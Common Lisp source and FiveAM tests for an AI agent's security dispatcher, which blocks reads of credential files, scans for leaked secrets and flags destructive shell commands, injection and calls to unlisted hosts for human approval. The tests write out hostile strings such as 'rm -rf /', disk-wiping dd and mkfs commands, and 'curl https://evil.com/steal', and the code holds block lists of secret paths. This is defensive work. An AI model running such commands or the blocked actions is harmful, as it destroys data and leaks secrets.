(in-package :passepartout)

(defvar *dispatcher-network-whitelist*
  '("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com")
  "Domains the Dispatcher considers safe for outbound connections.")

(defvar *dispatcher-privacy-tags*
  (let ((env (uiop:getenv "PRIVACY_FILTER_TAGS")))
    (if env
        (uiop:split-string env :separator '(#\,))
        '("@personal")))
  "Tags marking content as private. Set via PRIVACY_FILTER_TAGS.")

(defvar *dispatcher-protected-paths*
  '(".env" ".env.example" ".env.local" ".env.production"
    "*credentials*" "*cred*"
    "*id_rsa*" "*id_dsa*" "*id_ecdsa*" "*id_ed25519*"
    "*.pem" "*.key" "*.p12" "*.pfx" "*.asc" "*.gpg" "*.pgp"
    "secring.*" "pubring.*" "private-keys-v1.d/*"
    "token*" "*secret*" "*token*"
    ".netrc" ".git-credentials" "auth.json"
    ".aws/credentials" ".aws/config"
    ".kube/config" "kubeconfig"
    "*.cert" "*.crt" "*.csr"
    "*password*" "*passwd*")
  "Path patterns blocked from file reads.
Core file protection (core-*.org, core-*.lisp) handled separately by
dispatcher-check-core-path for self-build safety.")

(defvar *dispatcher-exposure-patterns*
  '((:pem-key "-----BEGIN +(RSA|DSA|EC|OPENSSH|PGP) +PRIVATE +KEY *-----")
    (:pgp-key "-----BEGIN +PGP +PRIVATE +KEY +BLOCK-----")
    (:pgp-public "-----BEGIN +PGP +PUBLIC +KEY +BLOCK-----")
    (:openai-key "sk-[A-Za-z0-9-]{20,}")
    (:google-key "AIza[0-9A-Za-z_-]{35}")
    (:github-token "gh[pousr]_[A-Za-z0-9]{36,}")
    (:slack-token "xox[baprs]-[A-Za-z0-9-]{24,}")
    (:env-assignment "[A-Z_]+=[A-Za-z0-9+/=_\\-]{20,}")
    (:generic-secret "(api|secret|password|token)[ ]*[:=][ ]*[\"']?[A-Za-z0-9_\\-]{16,}"))
  "Named regex patterns for secret exposure detection.")

(defvar *dispatcher-shell-timeout* 30
  "Maximum seconds for a shell command before timeout.")

(defvar *dispatcher-shell-max-output* 100000
  "Maximum characters of shell output to capture.")

(defvar *dispatcher-shell-blocked*
  '((:destructive-rm    "\\brm\\s+-rf\\s+/"                                     :severity :catastrophic)
    (:destructive-dd    "\\bdd\\s+if="                                           :severity :catastrophic)
    (:destructive-mkfs  "\\bmkfs\\."                                            :severity :catastrophic)
    (:disk-wipe         "\\bshred\\s+/dev/"                                     :severity :catastrophic)
    (:disk-wipe-b       "\\bwipefs\\s+/dev/"                                    :severity :catastrophic)
    (:injection-backtick "`[^`]+`"                                              :severity :dangerous)
    (:injection-subshell "\\$\\([^)]+\\)"                                        :severity :dangerous))
  "Destructive and injection patterns blocked in shell commands.
Each entry is (name regex :severity tier) where tier is one of:
:catastrophic, :dangerous, :moderate, :harmless.")

(defun wildcard-match (pattern path)
  "Matches PATH against PATTERN where * matches any characters."
  (let ((regex (cl-ppcre:regex-replace-all
                "\\*" (cl-ppcre:quote-meta-chars pattern) ".*")))
    (cl-ppcre:scan regex path)))

(defun dispatcher-check-core-path (filepath)
  "Returns T if FILEPATH matches a core-* self-build protected pattern."
  (when (and filepath (stringp filepath))
    (or (and (>= (length filepath) 5) (string-equal (subseq filepath 0 5) "core-"))
        (cl-ppcre:scan "core-.*\\.(org|lisp)" filepath))))

(defun dispatcher-check-secret-path (filepath)
  "Returns the matching pattern if FILEPATH matches a protected path, nil otherwise."
  (when (and filepath (stringp filepath))
    (some (lambda (pattern)
            (when (wildcard-match pattern filepath)
              pattern))
          *dispatcher-protected-paths*)))

(defun dispatcher-exposure-scan (text)
  "Scans TEXT for patterns matching known secret formats.
Returns a list of matched category keywords."
  (when (and text (stringp text) (> (length text) 0))
    (let ((matches nil))
      (dolist (entry *dispatcher-exposure-patterns*)
        (let ((name (first entry))
              (regex (second entry)))
          (when (cl-ppcre:scan regex text)
            (push name matches))))
      matches)))

(defun dispatcher-vault-scan (text)
  "Scans TEXT for known secrets from the vault."
  (when (and text (stringp text))
    (let ((found-secret nil))
      (maphash (lambda (key val)
                 (when (and val (stringp val) (> (length val) 5))
                   (when (search val text)
                     (setf found-secret key))))
               *vault-memory*)
      found-secret)))

(defun dispatcher-check-privacy-tags (tags-list)
  "Returns T if any tag in TAGS-LIST matches a privacy filter tag."
  (when (and tags-list (listp tags-list))
    (some (lambda (tag)
            (some (lambda (private)
                    (or (string-equal tag private)
                        (search private tag :test #'string-equal)))
                  *dispatcher-privacy-tags*))
          tags-list)))

(defvar *tag-categories* nil
  "Alist of (tag . severity) from TAG_CATEGORIES env var.
Severity: :block (filter), :warn (log+include), :log (silent record).")

(defvar *tag-trigger-count* (make-hash-table :test 'equal)
  "Per-session count of how many times each tag was triggered.")

(defun tag-trigger-record (tag)
  "Increment the trigger count for TAG."
  (incf (gethash (string-downcase tag) *tag-trigger-count* 0)))

(defun tag-categories-load ()
  "Parse TAG_CATEGORIES or PRIVACY_FILTER_TAGS env var into *tag-categories* alist."
  (let* ((raw (or (uiop:getenv "TAG_CATEGORIES")
                  (uiop:getenv "PRIVACY_FILTER_TAGS"))))
    (setf *tag-categories*
          (when raw
            (mapcar (lambda (entry)
                      (let ((parts (uiop:split-string entry :separator '(#\:))))
                        (if (>= (length parts) 2)
                            (cons (first parts) (intern (string-upcase (second parts)) :keyword))
                            (cons entry :block))))
                    (uiop:split-string raw :separator '(#\, #\;)))))))

(defun tag-category-severity (tag)
  "Return the severity keyword for TAG, or NIL if not found."
  (cdr (assoc tag *tag-categories* :test #'string-equal)))

(defun dispatcher-privacy-severity (tags-list)
  "Return the highest-severity tag match: :block > :warn > :log, or nil.
Records trigger counts for matched tags."
  (when (and tags-list (listp tags-list))
    (let ((highest nil))
      (dolist (tag tags-list)
        (let ((sev (tag-category-severity tag)))
          (when sev
            (tag-trigger-record tag))
          (when (or (eq sev :block)
                    (and (eq sev :warn) (not (eq highest :block)))
                    (and (eq sev :log) (null highest)))
            (setf highest sev))))
      highest)))

(tag-categories-load)

(defun dispatcher-check-text-for-privacy (text)
  "Scans TEXT for leaked privacy-tagged content."
  (when (and text (stringp text))
    (let ((lower (string-downcase text)))
      (some (lambda (tag)
              (search (string-downcase tag) lower))
            *dispatcher-privacy-tags*))))

(defun org-blocks-extract (content)
  "Extracts concatenated Lisp code from #+begin_src lisp blocks in an Org string."
  (when (and content (stringp content))
    (let ((lines (uiop:split-string content :separator '(#\Newline)))
          (in-block nil)
          (code ""))
      (dolist (line lines)
        (let ((clean (string-trim '(#\Space #\Tab) line)))
          (cond
            ((search "#+begin_src lisp" clean)
             (setf in-block t))
            ((search "#+end_src" clean)
             (setf in-block nil))
            (in-block
             (setf code (concatenate 'string code line (string #\Newline)))))))
      (when (> (length code) 0) code))))

(defun dispatcher-check-lisp-valid (filepath content)
  "Validates Lisp syntax when writing .lisp files or Org files with lisp blocks.
Returns the validation result plist or nil if not applicable."
  (when (and content (stringp content) (> (length content) 0))
    (let ((to-validate
           (cond
             ((uiop:string-suffix-p filepath ".lisp") content)
             ((uiop:string-suffix-p filepath ".org") (org-blocks-extract content))
             (t nil))))
      (when to-validate
        (multiple-value-bind (valid-p err) (ignore-errors
                                            (let ((*read-eval* nil))
                                              (with-input-from-string (s (format nil "(progn ~a)" to-validate))
                                                (loop for form = (read s nil :eof) until (eq form :eof)))
                                              (values t nil)))
          (unless valid-p
            (list :status :error :reason err)))))))

(defun org-has-defuns-p (content)
  "Returns T if the Org content contains any #+begin_src lisp blocks with defuns."
  (when (and content (stringp content))
    (search "defun " content :test #'char-equal)))

(defun dispatcher-check-repl-verified (action filepath content)
  "Warns if writing a defun to an Org file without :repl-verified metadata."
  (let ((repl-verified (getf action :repl-verified)))
    (when (and filepath
               (uiop:string-suffix-p filepath ".org")
               (org-has-defuns-p content)
               (not repl-verified))
      (list :type :LOG
            :payload (list :level :warn
                           :text (format nil "Lint: Writing defun to ~a without :repl-verified flag. Did you prototype this in the REPL first?" filepath))))))

(defun dispatcher-check-shell-safety (cmd)
  "Checks a shell command for destructive patterns and injection vectors.
Returns (:matched <names> :severity <tier>) when dangerous patterns found,
or nil if safe. Severity is the highest tier among matched patterns:
:catastrophic > :dangerous > :moderate > :harmless."
  (when (and cmd (stringp cmd) (> (length cmd) 0))
    (let ((matches nil)
          (severity :harmless))
      (dolist (entry *dispatcher-shell-blocked*)
        (let ((name (first entry))
              (regex (second entry))
              (tier (getf entry :severity)))
          (when (cl-ppcre:scan regex cmd)
            (push name matches)
            (setf severity (dispatcher-severity-max severity (or tier :moderate))))))
      (when matches
        (list :matched matches :severity severity)))))

(defvar *dispatcher-severity-order*
  (list :harmless 0 :moderate 1 :dangerous 2 :catastrophic 3)
  "Severity tier ordering for comparison. Higher = more severe.")

(defun dispatcher-severity-max (a b)
  "Returns the higher of two severity tiers."
  (let ((ra (or (getf *dispatcher-severity-order* a) 0))
        (rb (or (getf *dispatcher-severity-order* b) 0)))
    (if (>= rb ra) b a)))

(defun dispatcher-check-network-exfil (cmd)
  "Detects if CMD attempts to contact an unwhitelisted external host."
  (when (and cmd (stringp cmd))
    (multiple-value-bind (match regs)
        (cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd)
      (declare (ignore match))
      (when regs
        (let ((domain (aref regs 1)))
          (not (some (lambda (safe) (search safe domain))
                    *dispatcher-network-whitelist*)))))))

(defun dispatcher-check (action context)
  "Security gate for high-risk actions.
Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
  (declare (ignore context))
  (let* ((read-only-auto-pass
          (let ((tool-name (proto-get (proto-get action :payload) :tool)))
            (when (and tool-name (tool-read-only-p tool-name))
              (return-from dispatcher-check action))))
         (target (proto-get action :target))
         (payload (proto-get action :payload))
         (text (or (proto-get payload :text) (proto-get action :text)))
         (filepath (or (proto-get payload :filepath)
                       (when (equal (proto-get payload :tool) "read-file")
                         (proto-get (proto-get payload :args) :filepath))
                       (when (equal (proto-get payload :tool) "write-file")
                         (proto-get (proto-get payload :args) :filepath))))
         (content (when filepath (proto-get (proto-get payload :args) :content)))
         (cmd (or (proto-get payload :cmd)
                  (when (and (eq target :tool) (equal (proto-get payload :tool) "shell"))
                    (proto-get (proto-get payload :args) :cmd))))
         (approved (proto-get action :approved))
         (tags (proto-get payload :tags))
         (lisp-valid (when (and filepath content (not approved))
                       (dispatcher-check-lisp-valid filepath content)))
         (repl-lint (when (and filepath content (not approved))
                     (dispatcher-check-repl-verified action filepath content))))
    (cond
      (approved action)

       ;; Vector 0: REPL verification lint (warn, don't block)
      (repl-lint
       (log-message "DISPATCHER: ~a" (proto-get repl-lint :text))
       action)

       ;; Vector 1: Lisp syntax validation (block bad lisp writes)
       ((and lisp-valid (eq (getf lisp-valid :status) :error))
        (log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
        (dispatcher-block-record :lisp-validation)
        (list :type :LOG
              :payload (list :level :error
                             :text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))

       ;; Vector 2: File read to a protected secret path
       ((and filepath (dispatcher-check-secret-path filepath))
        (let ((matched (dispatcher-check-secret-path filepath)))
          (log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
          (dispatcher-block-record :secret-path)
          (list :type :LOG
                :payload (list :level :error
                               :text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))

       ;; Vector 2b: Self-build safety — core file writes require HITL approval
       ((and filepath content
             (string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
             (dispatcher-check-core-path filepath))
        (log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
        (dispatcher-block-record :self-build-core)
        (list :type :EVENT :level :approval-required
              :payload (list :sensor :approval-required :action action
                             :message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))

       ;; Vector 3: Content contains secret patterns
       ((and text (dispatcher-exposure-scan text))
        (let ((matched (dispatcher-exposure-scan text)))
          (log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
          (dispatcher-block-record :secret-content)
          (list :type :LOG
                :payload (list :level :error
                               :text "Action blocked: Content contains potential secret exposure."))))

       ;; Vector 4: Content contains vault secrets
       ((and text (dispatcher-vault-scan text))
        (let ((secret-name (dispatcher-vault-scan text)))
          (log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
          (dispatcher-block-record :vault-secrets)
          (list :type :LOG
                :payload (list :level :error
                               :text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))

       ;; Vector 5: Privacy-tagged content (severity tiers)
       ((and tags (fboundp 'dispatcher-privacy-severity))
        (let ((severity (dispatcher-privacy-severity tags)))
          (cond
             ((eq severity :block)
              (log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
              (dispatcher-block-record :privacy-tags)
              (list :type :LOG
                    :payload (list :level :error
                                   :text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
            ((eq severity :warn)
             (log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
             action)
            ((eq severity :log)
             (log-message "PRIVACY: @tag ~a (logged)" tags)
             action))))

       ;; Vector 6: Text leaks privacy tag names
       ((and text (dispatcher-check-text-for-privacy text))
        (log-message "PRIVACY WARNING: Text may contain leaked private content")
        (dispatcher-block-record :privacy-text)
        (list :type :LOG
              :payload (list :level :warn
                             :text "Action blocked: Text may reference private content.")))

        ;; Vector 7: Shell destructive/injection patterns
       ((and cmd (dispatcher-check-shell-safety cmd))
        (let ((matched (dispatcher-check-shell-safety cmd)))
          (log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
          (dispatcher-block-record :shell-safety)
          (list :type :LOG
                :payload (list :level :error
                               :text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))

       ;; Vector 8: Network exfiltration
       ((and (or (eq target :shell)
                 (and (eq target :tool) (equal (proto-get payload :tool) "shell")))
             (dispatcher-check-network-exfil cmd))
         (log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
         (dispatcher-block-record :network-exfil)
         (list :type :EVENT :level :approval-required
               :payload (list :sensor :approval-required :action action)))

       ;; Vector 8b: High-impact action approval
       ((or (member target '(:shell))
            (and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
            (and (eq target :emacs) (eq (proto-get payload :action) :eval))
            (and (eq target :system) (eq (proto-get payload :action) :eval)))
        (log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
        (dispatcher-block-record :high-impact-approval)
        (list :type :EVENT :payload (list :sensor :approval-required :action action)))
      (t action))))

(defun dispatcher-approvals-process ()
  "Scans for APPROVED flight plans and re-injects them."
  (let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED"))
        (found-any nil))
    (dolist (node approved-nodes)
      (let* ((attrs (memory-object-attributes node))
             (tags (getf attrs :TAGS))
             (action-str (getf attrs :ACTION)))
        (when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
          (log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
          (let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
            (when action
              (setf (getf action :approved) t)
              (stimulus-inject (list :type :EVENT
                                     :payload (list :sensor :approval-required
                                                    :action action
                                                    :approved t)
                                     :meta (list :source :system)))
              (setf (getf (memory-object-attributes node) :TODO) "DONE")
              (setq found-any t))))))
    found-any))

(defun dispatcher-flight-plan-create (blocked-action)
  "Creates a Flight Plan node for manual approval in Emacs."
  (let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid)))))
    (log-message "DISPATCHER: Creating flight plan node '~a'..." id)
    (list :type :REQUEST :target :emacs
          :payload (list :action :insert-node :id id
                         :attributes (list :TITLE "Flight Plan: High-Risk Action"
                                           :TODO "PLAN" :TAGS '("FLIGHT_PLAN")
                                           :ACTION (format nil "~s" blocked-action))))))

(defvar *hitl-pending* (make-hash-table :test 'equal)
  "Maps correlation token → blocked-action plist for pending HITL approvals.")

(defun hitl-create (blocked-action)
  "Saves a blocked action for HITL approval. Returns a plist with
:token (the correlation ID) and :message (user-facing text)."
  (let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8))))
    (setf (gethash token *hitl-pending*) blocked-action)
    (log-message "HITL: Created pending approval ~a" token)
    (list :token token
          :message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token))))

(defun hitl-approve (token)
  "Approves a pending HITL action by token. Re-injects with :approved t.
Returns T if found and approved, nil if token is invalid."
  (let ((action (gethash token *hitl-pending*)))
    (if action
        (progn
          (remhash token *hitl-pending*)
          (setf (getf action :approved) t)
          (stimulus-inject (list :type :EVENT
                                  :payload (list :sensor :approval-required
                                                 :action action
                                                 :approved t)
                                  :meta (list :source :system)))
          (log-message "HITL: Approved ~a — re-injected" token)
          t)
        (progn
          (log-message "HITL: Token ~a not found in pending" token)
          nil))))

(defun hitl-deny (token)
  "Denies a pending HITL action by token. Removes it from the pending store.
Returns T if found, nil if token is invalid."
  (if (gethash token *hitl-pending*)
      (progn
        (remhash token *hitl-pending*)
        (log-message "HITL: Denied ~a" token)
        t)
      (progn
        (log-message "HITL: Token ~a not found in pending" token)
        nil)))

(defun hitl-handle-message (text &optional source)
  "Checks if TEXT is a HITL approval or denial command.
If it matches, processes the command and returns T.
Otherwise returns nil (text should be handled as normal input).
Recognized formats:
  /approve HITL-abc123
  /deny HITL-abc123
  approve HITL-abc123
  deny HITL-abc123"
  (let ((text (string-trim '(#\Space) (or text ""))))
    (when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text))
              (uiop:string-prefix-p (string-downcase "approve") (string-downcase text)))
      (let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
             (token (when (> (length parts) 1) (second parts))))
        (when (and token (hitl-approve token))
          (log-message "HITL: Approved via ~a — ~a" (or source :unknown) token)
          (return-from hitl-handle-message t))))
    (when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text))
              (uiop:string-prefix-p (string-downcase "deny") (string-downcase text)))
      (let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
             (token (when (> (length parts) 1) (second parts))))
        (when (and token (hitl-deny token))
          (log-message "HITL: Denied via ~a — ~a" (or source :unknown) token)
          (return-from hitl-handle-message t))))
    nil))

(defun dispatcher-gate (action context)
  "Main deterministic gate for the Security Dispatcher skill."
  (let* ((payload (getf context :payload))
         (sensor (getf payload :sensor)))
    (case sensor
      (:approval-required
       (dispatcher-flight-plan-create (getf payload :action)))
      (:heartbeat
       (dispatcher-approvals-process)
       (if action (dispatcher-check action context) action))
      (otherwise
       (if action (dispatcher-check action context) action)))))

(defskill :passepartout-security-dispatcher
  :priority 150
  :trigger (lambda (ctx) (declare (ignore ctx)) t)
  :deterministic #'dispatcher-gate)

(defvar *dispatcher-block-counts* (make-hash-table :test 'equal)
  "Per-gate block count: maps gate keyword → integer.")

(defun dispatcher-block-record (gate-name)
  "Records a block decision for GATE-NAME. Returns the updated count."
  (let ((count (1+ (gethash gate-name *dispatcher-block-counts* 0))))
    (setf (gethash gate-name *dispatcher-block-counts*) count)
    count))

(defun dispatcher-block-counts-summary ()
  "Returns plist (:total <N> :by-gate ((<gate> . <count>) ...))."
  (let* ((by-gate
          (loop for k being the hash-keys of *dispatcher-block-counts*
                for v = (gethash k *dispatcher-block-counts*)
                collect (cons k v)))
         (total (reduce #'+ (mapcar #'cdr by-gate) :initial-value 0))
         (sorted (sort (copy-list by-gate) #'> :key #'cdr)))
    (list :total total :by-gate sorted)))

(eval-when (:compile-toplevel :load-toplevel :execute)
  (ql:quickload :fiveam :silent t))

(defpackage :passepartout-security-dispatcher-tests
  (:use :cl :fiveam :passepartout)
  (:export #:dispatcher-suite))

(in-package :passepartout-security-dispatcher-tests)

(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
(in-suite dispatcher-suite)

(test test-wildcard-match
  "Contract 1: wildcard pattern * matches any characters."
  (is (wildcard-match "*.env" ".env"))
  (is (wildcard-match "*.env" "prod.env"))
  (is (wildcard-match "*credential*" "my-credential-file"))
  (is (wildcard-match "*.key" "id_rsa.key"))
  (is (not (wildcard-match "*.env" "config.yaml"))))

(test test-check-secret-path
  "Contract 2: dispatcher-check-secret-path matches protected patterns."
  (is (dispatcher-check-secret-path ".env"))
  (is (dispatcher-check-secret-path "id_rsa"))
  (is (not (dispatcher-check-secret-path "README.org"))))

(test test-self-build-core-protection
  "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
  ;; Core paths are recognized
  (is (passepartout::dispatcher-check-core-path "core-reason.org"))
  (is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
  (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
  ;; With SELF_BUILD_MODE=true, core writes produce approval-required
  (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
    (setf (uiop:getenv "SELF_BUILD_MODE") "true")
    (let ((result (dispatcher-check action nil)))
      (is (eq :approval-required (getf result :level)))
      (setf (uiop:getenv "SELF_BUILD_MODE") "false"))
    ;; With SELF_BUILD_MODE=false (default), writes pass through
    (let ((result (dispatcher-check action nil)))
      (is (eq :REQUEST (getf result :type))))))

(test test-check-shell-safety
  "Contract 3: dispatcher-check-shell-safety detects dangerous commands."
  (is (dispatcher-check-shell-safety "rm -rf /"))
  (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
  (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
  (is (not (dispatcher-check-shell-safety "echo hello world")))
  (is (not (dispatcher-check-shell-safety "ls -la /tmp"))))

(test test-shell-safety-severity-catastrophic
  "Contract 3/v0.4.3: destructive commands return :catastrophic severity."
  (let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
        (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
    (is (eq :catastrophic (getf r1 :severity)))
    (is (eq :catastrophic (getf r2 :severity)))))

(test test-shell-safety-severity-dangerous
  "Contract 3/v0.4.3: injection patterns return :dangerous severity."
  (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
    (is (eq :dangerous (getf result :severity)))))

(test test-shell-safety-severity-safe
  "Contract 3/v0.4.3: harmless commands return nil."
  (is (null (dispatcher-check-shell-safety "echo hello world")))
  (is (null (dispatcher-check-shell-safety "ls -la /tmp")))
  (is (null (dispatcher-check-shell-safety "cat file.txt"))))

(test test-dispatcher-severity-max
  "dispatcher-severity-max returns the higher tier."
  (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
  (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
  (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
  (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))

(test test-check-privacy-tags
  "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
  (is (dispatcher-check-privacy-tags '("@personal" ":project:")))
  (is (dispatcher-check-privacy-tags '("@personal")))
  (is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))

(test test-check-network-exfil
  "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
  (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
  (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
  (is (not (dispatcher-check-network-exfil "echo hello"))))

;; ── v0.7.2 Tag Stack ──

(test test-tag-categories-load
  "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
  (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
  (passepartout::tag-categories-load)
  (let ((cats passepartout::*tag-categories*))
    (is (>= (length cats) 1))
    (is (eq :block (passepartout::tag-category-severity "@personal")))
    (is (eq :warn (passepartout::tag-category-severity "@draft")))
    (is (eq :log (passepartout::tag-category-severity "@review"))))
  (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))

(test test-tag-category-severity-unknown
  "Contract v0.7.2: unknown tag returns nil."
  (is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))

(test test-privacy-severity-block
  "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
  (setf passepartout::*tag-categories* '(("@personal" . :block)))
  (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))

(test test-privacy-severity-warn
  "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
  (setf passepartout::*tag-categories* '(("@draft" . :warn)))
  (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))

(test test-privacy-severity-nil
  "v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
  (setf passepartout::*tag-categories* nil)
  (is (null (passepartout::dispatcher-privacy-severity '("public")))))

(test test-tag-trigger-record
  "v0.7.2: tag-trigger-record increments per-tag count."
  (clrhash passepartout::*tag-trigger-count*)
  (passepartout::tag-trigger-record "@personal")
  (passepartout::tag-trigger-record "@personal")
  (passepartout::tag-trigger-record "@draft")
  (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
  (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
  (clrhash passepartout::*tag-trigger-count*))

(test test-tag-categories-privacy-fallback
  "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
  (let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
        (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
        (saved-tag (uiop:getenv "TAG_CATEGORIES"))
        (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
    ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
    (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
    (sb-posix:unsetenv "TAG_CATEGORIES")
    (passepartout::tag-categories-load)
    (is (eq :block (passepartout::tag-category-severity "@personal")))
    (is (eq :block (passepartout::tag-category-severity "@draft")))
    ;; Restore
    (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
    (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
    (passepartout::tag-categories-load)))

(test test-safe-tool-read-only-auto-approve
  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
        (passepartout::make-cognitive-tool :name "test-ro-tool"
                                          :description "Read-only test"
                                          :parameters nil
                                          :guard nil
                                          :body nil
                                          :read-only-p t))
  (unwind-protect
       (let* ((action '(:TYPE :REQUEST :TARGET :tool
                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
              (result (dispatcher-check action nil)))
         (is (eq :REQUEST (getf result :type)))
         (is (not (member (getf result :type) '(:LOG :approval-required)))))
    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))

(test test-safe-tool-write-still-checked
  "Contract v0.7.2: write tools still go through full dispatcher check."
  (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
    (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
          (passepartout::make-cognitive-tool :name "write-file"
                                            :description "File writer"
                                            :parameters nil
                                            :guard nil
                                            :body nil
                                            :read-only-p nil))
    (unwind-protect
         (progn
           (setf (uiop:getenv "SELF_BUILD_MODE") "true")
           (let* ((action '(:TYPE :REQUEST :TARGET :tool
                            :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
                  (result (dispatcher-check action nil)))
             (is (eq :approval-required (getf result :level)))
             (is (search "HITL" (getf (getf result :payload) :message)))))
      (setf (uiop:getenv "SELF_BUILD_MODE") "false")
      (if orig-tool
          (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
          (remhash "write-file" passepartout::*cognitive-tool-registry*)))))
#+end_src* v0.8.0 Tests — Block Counts
#+begin_src lisp
(in-package :passepartout-security-dispatcher-tests)

(test test-block-record-increments
  "Contract 10: dispatcher-block-record increments per-gate count."
  (clrhash passepartout::*dispatcher-block-counts*)
  (is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
  (is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
  (is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))

(test test-block-counts-summary
  "Contract 11: dispatcher-block-counts-summary returns total and by-gate."
  (clrhash passepartout::*dispatcher-block-counts*)
  (passepartout::dispatcher-block-record :shell-safety)
  (passepartout::dispatcher-block-record :shell-safety)
  (passepartout::dispatcher-block-record :secret-path)
  (let ((s (passepartout::dispatcher-block-counts-summary)))
    (is (= 3 (getf s :total)))
    (let ((by-gate (getf s :by-gate)))
      (is (= 2 (cdr (assoc :shell-safety by-gate))))
      (is (= 1 (cdr (assoc :secret-path by-gate)))))))

(test test-block-counts-empty
  "Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
  (clrhash passepartout::*dispatcher-block-counts*)
  (let ((s (passepartout::dispatcher-block-counts-summary)))
    (is (= 0 (getf s :total)))
    (is (null (getf s :by-gate)))))

(eval-when (:compile-toplevel :load-toplevel :execute)
  (ql:quickload :fiveam :silent t))

(defpackage :passepartout-security-dispatcher-tests
  (:use :cl :fiveam :passepartout)
  (:export #:dispatcher-suite))

(in-package :passepartout-security-dispatcher-tests)

(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
(in-suite dispatcher-suite)

(test test-wildcard-match
  "Contract 1: wildcard pattern * matches any characters."
  (is (wildcard-match "*.env" ".env"))
